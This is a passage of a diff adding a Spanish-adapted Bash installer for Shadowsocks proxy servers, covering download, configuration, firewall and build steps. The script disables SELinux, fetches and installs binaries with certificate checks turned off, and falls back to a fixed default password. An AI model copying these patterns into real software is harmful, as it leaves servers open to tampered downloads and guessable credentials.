+shadowsocks_r_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR-debian"
+
+shadowsocks_go_file_64="shadowsocks-server-linux64-1.2.2"
+shadowsocks_go_url_64="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux64-1.2.2.gz"
+shadowsocks_go_file_32="shadowsocks-server-linux32-1.2.2"
+shadowsocks_go_url_32="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux32-1.2.2.gz"
+shadowsocks_go_init="/etc/init.d/shadowsocks-go"
+shadowsocks_go_config="/etc/shadowsocks-go/config.json"
+shadowsocks_go_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go"
+shadowsocks_go_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go-debian"
+
+shadowsocks_libev_init="/etc/init.d/shadowsocks-libev"
+shadowsocks_libev_config="/etc/shadowsocks-libev/config.json"
+shadowsocks_libev_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev"
+shadowsocks_libev_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev-debian"
+
+# Stream Ciphers
+common_ciphers=(
+aes-256-gcm
+aes-192-gcm
+aes-128-gcm
+aes-256-ctr
+aes-192-ctr
+aes-128-ctr
+aes-256-cfb
+aes-192-cfb
+aes-128-cfb
+camellia-128-cfb
+camellia-192-cfb
+camellia-256-cfb
+xchacha20-ietf-poly1305
+chacha20-ietf-poly1305
+chacha20-ietf
+chacha20
+salsa20
+rc4-md5
+)
+go_ciphers=(
+aes-256-cfb
+aes-192-cfb
+aes-128-cfb
+aes-256-ctr
+aes-192-ctr
+aes-128-ctr
+chacha20-ietf
+chacha20
+salsa20
+rc4-md5
+)
+r_ciphers=(
+none
+aes-256-cfb
+aes-192-cfb
+aes-128-cfb
+aes-256-cfb8
+aes-192-cfb8
+aes-128-cfb8
+aes-256-ctr
+aes-192-ctr
+aes-128-ctr
+chacha20-ietf
+chacha20
+salsa20
+xchacha20
+xsalsa20
+rc4-md5
+)
+# Reference URL:
+# https://github.com/shadowsocksr-rm/shadowsocks-rss/blob/master/ssr.md
+# https://github.com/shadowsocksrr/shadowsocksr/commit/a3cf0254508992b7126ab1151df0c2f10bf82680
+# Protocol
+protocols=(
+origin
+verify_deflate
+auth_sha1_v4
+auth_sha1_v4_compatible
+auth_aes128_md5
+auth_aes128_sha1
+auth_chain_a
+auth_chain_b
+auth_chain_c
+auth_chain_d
+auth_chain_e
+auth_chain_f
+)
+# obfs
+obfs=(
+plain
+http_simple
+http_simple_compatible
+http_post
+http_post_compatible
+tls1.2_ticket_auth
+tls1.2_ticket_auth_compatible
+tls1.2_ticket_fastauth
+tls1.2_ticket_fastauth_compatible
+)
+# libev obfuscating
+obfs_libev=(http tls)
+# initialization parameter
+libev_obfs=""
+
+disable_selinux(){
+    if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then
+        sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config
+        setenforce 0
+    fi
+}
+
+check_sys(){
+    local checkType=$1
+    local value=$2
+
+    local release=''
+    local systemPackage=''
+
+    if [[ -f /etc/redhat-release ]]; then
+        release="centos"
+        systemPackage="yum"
+    elif grep -Eqi "debian|raspbian" /etc/issue; then
+        release="debian"
+        systemPackage="apt"
+    elif grep -Eqi "ubuntu" /etc/issue; then
+        release="ubuntu"
+        systemPackage="apt"
+    elif grep -Eqi "centos|red hat|redhat" /etc/issue; then
+        release="centos"
+        systemPackage="yum"
+    elif grep -Eqi "debian|raspbian" /proc/version; then
+        release="debian"
+        systemPackage="apt"
+    elif grep -Eqi "ubuntu" /proc/version; then
+        release="ubuntu"
+        systemPackage="apt"
+    elif grep -Eqi "centos|red hat|redhat" /proc/version; then
+        release="centos"
+        systemPackage="yum"
+    fi
+
+    if [[ "${checkType}" == "sysRelease" ]]; then
+        if [ "${value}" == "${release}" ]; then
+            return 0
+        else
+            return 1
+        fi
+    elif [[ "${checkType}" == "packageManager" ]]; then
+        if [ "${value}" == "${systemPackage}" ]; then
+            return 0
+        else
+            return 1
+        fi
+    fi
+}
+
+version_ge(){
+    test "$(echo "$@" | tr " " "\n" | sort -rV | head -n 1)" == "$1"
+}
+
+version_gt(){
+    test "$(echo "$@" | tr " " "\n" | sort -V | head -n 1)" != "$1"
+}
+
+check_kernel_version(){
+    local kernel_version=$(uname -r | cut -d- -f1)
+    if version_gt ${kernel_version} 3.7.0; then
+        return 0
+    else
+        return 1
+    fi
+}
+
+check_kernel_headers(){
+    if check_sys packageManager yum; then
+        if rpm -qa | grep -q headers-$(uname -r); then
+            return 0
+        else
+            return 1
+        fi
+    elif check_sys packageManager apt; then
+        if dpkg -s linux-headers-$(uname -r) > /dev/null 2>&1; then
+            return 0
+        else
+            return 1
+        fi
+    fi
+    return 1
+}
+
+getversion(){
+    if [[ -s /etc/redhat-release ]]; then
+        grep -oE  "[0-9.]+" /etc/redhat-release
+    else
+        grep -oE  "[0-9.]+" /etc/issue
+    fi
+}
+
+centosversion(){
+    if check_sys sysRelease centos; then
+        local code=$1
+        local version="$(getversion)"
+        local main_ver=${version%%.*}
+        if [ "$main_ver" == "$code" ]; then
+            return 0
+        else
+            return 1
+        fi
+    else
+        return 1
+    fi
+}
+
+autoconf_version(){
+    if [ ! "$(command -v autoconf)" ]; then
+        echo -e "[${green}Info${plain}] Starting install package autoconf"
+        if check_sys packageManager yum; then
+            yum install -y autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf"
+        elif check_sys packageManager apt; then
+            apt-get -y update > /dev/null 2>&1
+            apt-get -y install autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf"
+        fi
+    fi
+    local autoconf_ver=$(autoconf --version | grep autoconf | grep -oE "[0-9.]+")
+    if version_ge ${autoconf_ver} 2.67; then
+        return 0
+    else
+        return 1
+    fi
+}
+
+get_ip(){
+    local IP=$( ip addr | egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | egrep -v "^192\.168|^172\.1[6-9]\.|^172\.2[0-9]\.|^172\.3[0-2]\.|^10\.|^127\.|^255\.|^0\." | head -n 1 )
+    [ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipv4.icanhazip.com )
+    [ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipinfo.io/ip )
+    echo ${IP}
+}
+
+get_ipv6(){
+    local ipv6=$(wget -qO- -t1 -T2 ipv6.icanhazip.com)
+    [ -z ${ipv6} ] && return 1 || return 0
+}
+
+get_libev_ver(){
+    libev_ver=$(wget --no-check-certificate -qO- https://api.github.com/repos/shadowsocks/shadowsocks-libev/releases/latest | grep 'tag_name' | cut -d\" -f4)
+    [ -z ${libev_ver} ] && echo -e "[${red}Error${plain}] Get shadowsocks-libev latest version failed" && exit 1
+}
+
+get_opsy(){
+    [ -f /etc/redhat-release ] && awk '{print ($1,$3~/^[0-9]/?$3:$4)}' /etc/redhat-release && return
+    [ -f /etc/os-release ] && awk -F'[= "]' '/PRETTY_NAME/{print $3,$4,$5}' /etc/os-release && return
+    [ -f /etc/lsb-release ] && awk -F'[="]+' '/DESCRIPTION/{print $2}' /etc/lsb-release && return
+}
+
+is_64bit(){
+    if [ `getconf WORD_BIT` = '32' ] && [ `getconf LONG_BIT` = '64' ] ; then
+        return 0
+    else
+        return 1
+    fi
+}
+
+debianversion(){
+    if check_sys sysRelease debian;then
+        local version=$( get_opsy )
+        local code=${1}
+        local main_ver=$( echo ${version} | sed 's/[^0-9]//g')
+        if [ "${main_ver}" == "${code}" ];then
+            return 0
+        else
+            return 1
+        fi
+    else
+        return 1
+    fi
+}
+
+download(){
+    local filename=$(basename $1)
+    if [ -f ${1} ]; then
+        echo "${filename} [found]"
+    else
+        echo "${filename} not found, download now..."
+        wget --no-check-certificate -c -t3 -T60 -O ${1} ${2}
+        if [ $? -ne 0 ]; then
+            echo -e "[${red}Error${plain}] Download ${filename} failed."
+            exit 1
+        fi
+    fi
+}
+
+download_files(){
+    cd ${cur_dir}
+
+    if   [ "${selected}" == "1" ]; then
+        download "${shadowsocks_python_file}.zip" "${shadowsocks_python_url}"
+        if check_sys packageManager yum; then
+            download "${shadowsocks_python_init}" "${shadowsocks_python_centos}"
+        elif check_sys packageManager apt; then
+            download "${shadowsocks_python_init}" "${shadowsocks_python_debian}"
+        fi
+    elif [ "${selected}" == "2" ]; then
+        download "${shadowsocks_r_file}.tar.gz" "${shadowsocks_r_url}"
+        if check_sys packageManager yum; then
+            download "${shadowsocks_r_init}" "${shadowsocks_r_centos}"
+        elif check_sys packageManager apt; then
+            download "${shadowsocks_r_init}" "${shadowsocks_r_debian}"
+        fi
+    elif [ "${selected}" == "3" ]; then
+        if is_64bit; then
+            download "${shadowsocks_go_file_64}.gz" "${shadowsocks_go_url_64}"
+        else
+            download "${shadowsocks_go_file_32}.gz" "${shadowsocks_go_url_32}"
+        fi
+        if check_sys packageManager yum; then
+            download "${shadowsocks_go_init}" "${shadowsocks_go_centos}"
+        elif check_sys packageManager apt; then
+            download "${shadowsocks_go_init}" "${shadowsocks_go_debian}"
+        fi
+    elif [ "${selected}" == "4" ]; then
+        get_libev_ver
+        shadowsocks_libev_file="shadowsocks-libev-$(echo ${libev_ver} | sed -e 's/^[a-zA-Z]//g')"
+        shadowsocks_libev_url="https://github.com/shadowsocks/shadowsocks-libev/releases/download/${libev_ver}/${shadowsocks_libev_file}.tar.gz"
+
+        download "${shadowsocks_libev_file}.tar.gz" "${shadowsocks_libev_url}"
+        if check_sys packageManager yum; then
+            download "${shadowsocks_libev_init}" "${shadowsocks_libev_centos}"
+        elif check_sys packageManager apt; then
+            download "${shadowsocks_libev_init}" "${shadowsocks_libev_debian}"
+        fi
+    fi
+
+}
+
+get_char(){
+    SAVEDSTTY=$(stty -g)
+    stty -echo
+    stty cbreak
+    dd if=/dev/tty bs=1 count=1 2> /dev/null
+    stty -raw
+    stty echo
+    stty $SAVEDSTTY
+}
+
+error_detect_depends(){
+    local command=$1
+    local depend=`echo "${command}" | awk '{print $4}'`
+    echo -e "[${green}Info${plain}] Starting to install package ${depend}"
+    ${command} > /dev/null 2>&1
+    if [ $? -ne 0 ]; then
+        echo -e "[${red}Error${plain}] Failed to install ${red}${depend}${plain}"
+        echo "Please visit: https://teddysun.com/486.html and contact."
+        exit 1
+    fi
+}
+
+config_firewall(){
+    if centosversion 6; then
+        /etc/init.d/iptables status > /dev/null 2>&1
+        if [ $? -eq 0 ]; then
+            iptables -L -n | grep -i ${shadowsocksport} > /dev/null 2>&1
+            if [ $? -ne 0 ]; then
+                iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${shadowsocksport} -j ACCEPT
+                iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${shadowsocksport} -j ACCEPT
+                /etc/init.d/iptables save
+                /etc/init.d/iptables restart
+            else
+                echo -e "[${green}Info${plain}] port ${green}${shadowsocksport}${plain} already be enabled."
+            fi
+        else
+            echo -e "[${yellow}Warning${plain}] iptables looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary."
+        fi
+    elif centosversion 7; then
+        systemctl status firewalld > /dev/null 2>&1
+        if [ $? -eq 0 ]; then
+            default_zone=$(firewall-cmd --get-default-zone)
+            firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/tcp
+            firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/udp
+            firewall-cmd --reload
+        else
+            echo -e "[${yellow}Warning${plain}] firewalld looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary."
+        fi
+    fi
+}
+
+config_shadowsocks(){
+
+if check_kernel_version && check_kernel_headers; then
+    fast_open="true"
+else
+    fast_open="false"
+fi
+
+if   [ "${selected}" == "1" ]; then
+    if [ ! -d "$(dirname ${shadowsocks_python_config})" ]; then
+        mkdir -p $(dirname ${shadowsocks_python_config})
+    fi
+    cat > ${shadowsocks_python_config}<<-EOF
+{
+    "server":"0.0.0.0",
+    "server_port":${shadowsocksport},
+    "local_address":"127.0.0.1",
+    "local_port":1080,
+    "password":"${shadowsockspwd}",
+    "timeout":300,
+    "method":"${shadowsockscipher}",
+    "fast_open":${fast_open}
+}
+EOF
+elif [ "${selected}" == "2" ]; then
+    if [ ! -d "$(dirname ${shadowsocks_r_config})" ]; then
+        mkdir -p $(dirname ${shadowsocks_r_config})
+    fi
+    cat > ${shadowsocks_r_config}<<-EOF
+{
+    "server":"0.0.0.0",
+    "server_ipv6":"::",
+    "server_port":${shadowsocksport},
+    "local_address":"127.0.0.1",
+    "local_port":1080,
+    "password":"${shadowsockspwd}",
+    "timeout":120,
+    "method":"${shadowsockscipher}",
+    "protocol":"${shadowsockprotocol}",
+    "protocol_param":"",
+    "obfs":"${shadowsockobfs}",
+    "obfs_param":"",
+    "redirect":"",
+    "dns_ipv6":false,
+    "fast_open":${fast_open},
+    "workers":1
+}
+EOF
+elif [ "${selected}" == "3" ]; then
+    if [ ! -d "$(dirname ${shadowsocks_go_config})" ]; then
+        mkdir -p $(dirname ${shadowsocks_go_config})
+    fi
+    cat > ${shadowsocks_go_config}<<-EOF
+{
+    "server":"0.0.0.0",
+    "server_port":${shadowsocksport},
+    "local_port":1080,
+    "password":"${shadowsockspwd}",
+    "method":"${shadowsockscipher}",
+    "timeout":300
+}
+EOF
+elif [ "${selected}" == "4" ]; then
+    local server_value="\"0.0.0.0\""
+    if get_ipv6; then
+        server_value="[\"[::0]\",\"0.0.0.0\"]"
+    fi
+
+    if [ ! -d "$(dirname ${shadowsocks_libev_config})" ]; then
+        mkdir -p $(dirname ${shadowsocks_libev_config})
+    fi
+
+    if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then
+        cat > ${shadowsocks_libev_config}<<-EOF
+{
+    "server":${server_value},
+    "server_port":${shadowsocksport},
+    "password":"${shadowsockspwd}",
+    "timeout":300,
+    "user":"nobody",
+    "method":"${shadowsockscipher}",
+    "fast_open":${fast_open},
+    "nameserver":"8.8.8.8",
+    "mode":"tcp_and_udp",
+    "plugin":"obfs-server",
+    "plugin_opts":"obfs=${shadowsocklibev_obfs}"
+}
+EOF
+    else
+        cat > ${shadowsocks_libev_config}<<-EOF
+{
+    "server":${server_value},
+    "server_port":${shadowsocksport},
+    "password":"${shadowsockspwd}",
+    "timeout":300,
+    "user":"nobody",
+    "method":"${shadowsockscipher}",
+    "fast_open":${fast_open},
+    "nameserver":"8.8.8.8",
+    "mode":"tcp_and_udp"
+}
+EOF
+    fi
+
+fi
+}
+
+install_dependencies(){
+    if check_sys packageManager yum; then
+        echo -e "[${green}Info${plain}] Checking the EPEL repository..."
+        if [ ! -f /etc/yum.repos.d/epel.repo ]; then
+            yum install -y epel-release > /dev/null 2>&1
+        fi
+        [ ! -f /etc/yum.repos.d/epel.repo ] && echo -e "[${red}Error${plain}] Install EPEL repository failed, please check it." && exit 1
+        [ ! "$(command -v yum-config-manager)" ] && yum install -y yum-utils > /dev/null 2>&1
+        [ x"$(yum-config-manager epel | grep -w enabled | awk '{print $3}')" != x"True" ] && yum-config-manager --enable epel > /dev/null 2>&1
+        echo -e "[${green}Info${plain}] Checking the EPEL repository complete..."
+
+        yum_depends=(
+            unzip gzip openssl openssl-devel gcc python python-devel python-setuptools pcre pcre-devel libtool libevent
+            autoconf automake make curl curl-devel zlib-devel perl perl-devel cpio expat-devel gettext-devel
+            libev-devel c-ares-devel git qrencode
+        )
+        for depend in ${yum_depends[@]}; do
+            error_detect_depends "yum -y install ${depend}"
+        done
+    elif check_sys packageManager apt; then
+        apt_depends=(
+            gettext build-essential unzip gzip python python-dev python-setuptools curl openssl libssl-dev
+            autoconf automake libtool gcc make perl cpio libpcre3 libpcre3-dev zlib1g-dev libev-dev libc-ares-dev git qrencode
+        )
+
+        apt-get -y update
+        for depend in ${apt_depends[@]}; do
+            error_detect_depends "apt-get -y install ${depend}"
+        done
+    fi
+}
+
+install_check(){
+    if check_sys packageManager yum || check_sys packageManager apt; then
+        if centosversion 5; then
+            return 1
+        fi
+        return 0
+    else
+        return 1
+    fi
+}
+
+install_select(){
+    if ! install_check; then
+        echo -e "[${red}Error${plain}] Your OS is not supported to run it!"
+        echo "Please change to CentOS 6+/Debian 7+/Ubuntu 12+ and try again."
+        exit 1
+    fi
+
+    clear
+    while true
+    do
+	selected=4
+    case "${selected}" in
+        1|2|3|4)
+        msg -bar
+        echo "Este Proceso instalara: ${software[${selected}-1]}"
+		echo "   ##Este proceso puede demorar unos minutos##"
+        msg -bar
+        break
+        ;;
+        *)
+        echo -e "[${red}Error${plain}] Please only enter a number [1-4]"
+        ;;
+    esac
+    done
+}
+
+install_prepare_password(){
+    echo "Por favor, introduzca la contraseña para ${software[${selected}-1]}"
+    read -p "(Default Contraseña: pro.sshyproxy.xyz):" shadowsockspwd
+    [ -z "${shadowsockspwd}" ] && shadowsockspwd="pro.sshyproxy.xyz"
+    msg -bar
+    echo "Contraseña = ${shadowsockspwd}"
+    msg -bar
+}
+
+install_prepare_port() {
+    while true
+    do
+    dport=$(shuf -i 9000-19999 -n 1)
+    echo -e "Por favor ingrese un puerto para ${software[${selected}-1]} [1-65535]"
+    read -p "(Default port: ${dport}):" shadowsocksport
+    [ -z "${shadowsocksport}" ] && shadowsocksport=${dport}
+    expr ${shadowsocksport} + 1 &>/dev/null
+    if [ $? -eq 0 ]; then
+        if [ ${shadowsocksport} -ge 1 ] && [ ${shadowsocksport} -le 65535 ] && [ ${shadowsocksport:0:1} != 0 ]; then
+            msg -bar
+            echo "Puerto = ${shadowsocksport}"
+            msg -bar
+            break
+        fi
+    fi
+    echo -e "[${red}Error${plain}] Please enter a correct number [1-65535]"
+    done
+}
+
+install_prepare_cipher(){
+    while true
+    do
+    echo -e "Por favor seleccione la secuencia de cifrado para ${software[${selected}-1]}:"
+    msg -bar
+    if   [[ "${selected}" == "1" || "${selected}" == "4" ]]; then
+        for ((i=1;i<=${#common_ciphers[@]};i++ )); do
+            hint="${common_ciphers[$i-1]}"
+            echo -e "${green}${i}${plain}) ${hint}"
+        done
+		msg -bar
+        read -p "¿Qué cifrado elegirías?(Default: ${common_ciphers[0]}):" pick
+        [ -z "$pick" ] && pick=1
+        expr ${pick} + 1 &>/dev/null
+        if [ $? -ne 0 ]; then
+            echo -e "[${red}Error${plain}] Please enter a number"
+            continue
+        fi
+        if [[ "$pick" -lt 1 || "$pick" -gt ${#common_ciphers[@]} ]]; then
+            echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#common_ciphers[@]}"
+            continue
+        fi
+        shadowsockscipher=${common_ciphers[$pick-1]}
+    elif [ "${selected}" == "2" ]; then
+        for ((i=1;i<=${#r_ciphers[@]};i++ )); do
+            hint="${r_ciphers[$i-1]}"
+            echo -e "${green}${i}${plain}) ${hint}"
+        done
+		msg -bar
+        read -p "¿Qué cifrado elegirías?(Default: ${r_ciphers[1]}):" pick
+        [ -z "$pick" ] && pick=2
+        expr ${pick} + 1 &>/dev/null
+        if [ $? -ne 0 ]; then
+            echo -e "[${red}Error${plain}] Please enter a number"
+            continue
+        fi
+        if [[ "$pick" -lt 1 || "$pick" -gt ${#r_ciphers[@]} ]]; then
+            echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#r_ciphers[@]}"
+            continue
+        fi
+        shadowsockscipher=${r_ciphers[$pick-1]}
+    elif [ "${selected}" == "3" ]; then
+        for ((i=1;i<=${#go_ciphers[@]};i++ )); do
+            hint="${go_ciphers[$i-1]}"
+            echo -e "${green}${i}${plain}) ${hint}"
+        done
+		msg -bar
+        read -p "¿Qué cifrado elegirías?(Default: ${go_ciphers[0]}):" pick
+        [ -z "$pick" ] && pick=1
+        expr ${pick} + 1 &>/dev/null
+        if [ $? -ne 0 ]; then
+            echo -e "[${red}Error${plain}] Please enter a number"
+            continue
+        fi
+        if [[ "$pick" -lt 1 || "$pick" -gt ${#go_ciphers[@]} ]]; then
+            echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#go_ciphers[@]}"
+            continue
+        fi
+        shadowsockscipher=${go_ciphers[$pick-1]}
+    fi
+
+    msg -bar
+    echo "Cifrado = ${shadowsockscipher}"
+    msg -bar
+    break
+    done
+}
+
+install_prepare_protocol(){
+    while true
+    do
+    echo -e "Please select protocol for ${software[${selected}-1]}:"
+    for ((i=1;i<=${#protocols[@]};i++ )); do
+        hint="${protocols[$i-1]}"
+        echo -e "${green}${i}${plain}) ${hint}"
+    done
+    read -p "Which protocol you'd select(Default: ${protocols[0]}):" protocol
+    [ -z "$protocol" ] && protocol=1
+    expr ${protocol} + 1 &>/dev/null
+    if [ $? -ne 0 ]; then
+        echo -e "[${red}Error${plain}] Please enter a number"
+        continue
+    fi
+    if [[ "$protocol" -lt 1 || "$protocol" -gt ${#protocols[@]} ]]; then
+        echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#protocols[@]}"
+        continue
+    fi
+    shadowsockprotocol=${protocols[$protocol-1]}
+    echo
+    echo "protocol = ${shadowsockprotocol}"
+    echo
+    break
+    done
+}
+
+install_prepare_obfs(){
+    while true
+    do
+    echo -e "Por favor, seleccione obfs para ${software[${selected}-1]}:"
+	msg -bar
+    for ((i=1;i<=${#obfs[@]};i++ )); do
+        hint="${obfs[$i-1]}"
+        echo -e "${green}${i}${plain}) ${hint}"
+    done
+	msg -bar
+    read -p "Qué objs elegirías(Default: ${obfs[0]}):" r_obfs
+    [ -z "$r_obfs" ] && r_obfs=1
+    expr ${r_obfs} + 1 &>/dev/null
+    if [ $? -ne 0 ]; then
+        echo -e "[${red}Error${plain}] Please enter a number"
+        continue
+    fi
+    if [[ "$r_obfs" -lt 1 || "$r_obfs" -gt ${#obfs[@]} ]]; then
+        echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#obfs[@]}"
+        continue
+    fi
+    shadowsockobfs=${obfs[$r_obfs-1]}
+    echo
+    echo "obfs = ${shadowsockobfs}"
+    echo
+    break
+    done
+}
+
+install_prepare_libev_obfs(){
+    if autoconf_version || centosversion 6; then
+        while true
+        do
+        echo -e "Quieres instalar simple-obfs para ${software[${selected}-1]}? [y/n]"
+        read -p "(default: n):" libev_obfs
+        [ -z "$libev_obfs" ] && libev_obfs=n
+        case "${libev_obfs}" in
+            y|Y|n|N)
+            msg -bar
+            echo "Tu eliges = ${libev_obfs}"
+            msg -bar
+            break
+            ;;
+            *)
+            echo -e "[${red}Error${plain}] Please only enter [y/n]"
+            ;;
+        esac
+        done
+
+        if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then
+            while true
+            do
+            echo -e "Por favor, seleccione obfs para simple-obfs:"
+			msg -bar
+            for ((i=1;i<=${#obfs_libev[@]};i++ )); do
+                hint="${obfs_libev[$i-1]}"
+                echo -e "${green}${i}${plain}) ${hint}"
+            done
+			msg -bar
+            read -p "Qué objs elegirías(Default: ${obfs_libev[0]}):" r_libev_obfs
+            [ -z "$r_libev_obfs" ] && r_libev_obfs=1
+            expr ${r_libev_obfs} + 1 &>/dev/null
+            if [ $? -ne 0 ]; then
+                echo -e "[${red}Error${plain}] Please enter a number"
+                continue
+            fi
+            if [[ "$r_libev_obfs" -lt 1 || "$r_libev_obfs" -gt ${#obfs_libev[@]} ]]; then
+                echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#obfs_libev[@]}"
+                continue
+            fi
+            shadowsocklibev_obfs=${obfs_libev[$r_libev_obfs-1]}
+            echo
+            echo "obfs = ${shadowsocklibev_obfs}"
+            echo
+            break
+            done
+        fi
+    else
+        echo -e "[${green}Info${plain}] autoconf version is less than 2.67, simple-obfs for ${software[${selected}-1]} installation has been skipped"
+    fi
+}
+
+install_prepare(){
+
+    if  [[ "${selected}" == "1" || "${selected}" == "3" || "${selected}" == "4" ]]; then
+        install_prepare_password
+        install_prepare_port
+        install_prepare_cipher
+        if [ "${selected}" == "4" ]; then
+            install_prepare_libev_obfs
+        fi
+    elif [ "${selected}" == "2" ]; then
+        install_prepare_password
+        install_prepare_port
+        install_prepare_cipher
+        install_prepare_protocol
+        install_prepare_obfs
+    fi
+
+    echo "Presiona cualquier tecla para comenzar...o Presione Ctrl+C para cancelar"
+    char=`get_char`
+
+}
+
+install_libsodium(){
+    if [ ! -f /usr/lib/libsodium.a ]; then
+        cd ${cur_dir}
+        download "${libsodium_file}.tar.gz" "${libsodium_url}"
+        tar zxf ${libsodium_file}.tar.gz
+        cd ${libsodium_file}
+        ./configure --prefix=/usr && make && make install
+        if [ $? -ne 0 ]; then
+            echo -e "[${red}Error${plain}] ${libsodium_file} install failed."
+            install_cleanup
+            exit 1
+        fi
+    else
+        echo -e "[${green}Info${plain}] ${libsodium_file} already installed."
+    fi
+}
+
+install_mbedtls(){
+    if [ ! -f /usr/lib/libmbedtls.a ]; then
+        cd ${cur_dir}
+        download "${mbedtls_file}-gpl.tgz" "${mbedtls_url}"
+        tar xf ${mbedtls_file}-gpl.tgz
+        cd ${mbedtls_file}
+        make SHARED=1 CFLAGS=-fPIC
+        make DESTDIR=/usr install
+        if [ $? -ne 0 ]; then
+            echo -e "[${red}Error${plain}] ${mbedtls_file} install failed."
+            install_cleanup
+            exit 1
+        fi
+    else
+        echo -e "[${green}Info${plain}] ${mbedtls_file} already installed."
+    fi
+}
+
+install_shadowsocks_python(){
+    cd ${cur_dir}
+    unzip -q ${shadowsocks_python_file}.zip
+    if [ $? -ne 0 ];then
+        echo -e "[${red}Error${plain}] unzip ${shadowsocks_python_file}.zip failed, please check unzip command."
+        install_cleanup
+        exit 1
+    fi
+
+    cd ${shadowsocks_python_file}
+    python setup.py install --record /usr/local/shadowsocks_python.log
+
+    if [ -f /usr/bin/ssserver ] || [ -f /usr/local/bin/ssserver ]; then
+        chmod +x ${shadowsocks_python_init}
+        local service_name=$(basename ${shadowsocks_python_init})
+        if check_sys packageManager yum; then
+            chkconfig --add ${service_name}
+            chkconfig ${service_name} on
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} defaults
+        fi
+    else
+        echo
+        echo -e "[${red}Error${plain}] ${software[0]} install failed."
+        echo "Please visit: https://teddysun.com/486.html and contact."
+        install_cleanup
+        exit 1
+    fi
+}
+
+install_shadowsocks_r(){
+    cd ${cur_dir}
+    tar zxf ${shadowsocks_r_file}.tar.gz
+    mv ${shadowsocks_r_file}/shadowsocks /usr/local/
+    if [ -f /usr/local/shadowsocks/server.py ]; then
+        chmod +x ${shadowsocks_r_init}
+        local service_name=$(basename ${shadowsocks_r_init})
+        if check_sys packageManager yum; then
+            chkconfig --add ${service_name}
+            chkconfig ${service_name} on
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} defaults
+        fi
+    else
+        echo
+        echo -e "[${red}Error${plain}] ${software[1]} install failed."
+        echo "Please visit; https://teddysun.com/486.html and contact."
+        install_cleanup
+        exit 1
+    fi
+}
+
+install_shadowsocks_go(){
+    cd ${cur_dir}
+    if is_64bit; then
+        gzip -d ${shadowsocks_go_file_64}.gz
+        if [ $? -ne 0 ];then
+            echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_64}.gz failed."
+            install_cleanup
+            exit 1
+        fi
+        mv -f ${shadowsocks_go_file_64} /usr/bin/shadowsocks-server
+    else
+        gzip -d ${shadowsocks_go_file_32}.gz
+        if [ $? -ne 0 ];then
+            echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_32}.gz failed."
+            install_cleanup
+            exit 1
+        fi
+        mv -f ${shadowsocks_go_file_32} /usr/bin/shadowsocks-server
+    fi
+
+    if [ -f /usr/bin/shadowsocks-server ]; then
+        chmod +x /usr/bin/shadowsocks-server
+        chmod +x ${shadowsocks_go_init}
+
+        local service_name=$(basename ${shadowsocks_go_init})
+        if check_sys packageManager yum; then
+            chkconfig --add ${service_name}
+            chkconfig ${service_name} on
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} defaults
+        fi
+    else
+        echo
+        echo -e "[${red}Error${plain}] ${software[2]} install failed."
+        echo "Please visit: https://teddysun.com/486.html and contact."
+        install_cleanup
+        exit 1
+    fi
+}
+
+install_shadowsocks_libev(){
+    cd ${cur_dir}
+    tar zxf ${shadowsocks_libev_file}.tar.gz
+    cd ${shadowsocks_libev_file}
+    ./configure --disable-documentation && make && make install
+    if [ $? -eq 0 ]; then
+        chmod +x ${shadowsocks_libev_init}
+        local service_name=$(basename ${shadowsocks_libev_init})
+        if check_sys packageManager yum; then
+            chkconfig --add ${service_name}
+            chkconfig ${service_name} on
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} defaults
+        fi
+    else
+        echo
+        echo -e "[${red}Error${plain}] ${software[3]} install failed."
+        echo "Please visit: https://teddysun.com/486.html and contact."
+        install_cleanup
+        exit 1
+    fi
+}
+
+install_shadowsocks_libev_obfs(){
+    if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then
+        cd ${cur_dir}
+        git clone https://github.com/shadowsocks/simple-obfs.git
+        [ -d simple-obfs ] && cd simple-obfs || echo -e "[${red}Error:${plain}] Failed to git clone simple-obfs."
+        git submodule update --init --recursive
+        if centosversion 6; then
+            if [ ! "$(command -v autoconf268)" ]; then
+                echo -e "[${green}Info${plain}] Starting install autoconf268..."
+                yum install -y autoconf268 > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf268."
+            fi
+            # replace command autoreconf to autoreconf268
+            sed -i 's/autoreconf/autoreconf268/' autogen.sh
+            # replace #include <ev.h> to #include <libev/ev.h>
+            sed -i 's@^#include <ev.h>@#include <libev/ev.h>@' src/local.h
+            sed -i 's@^#include <ev.h>@#include <libev/ev.h>@' src/server.h
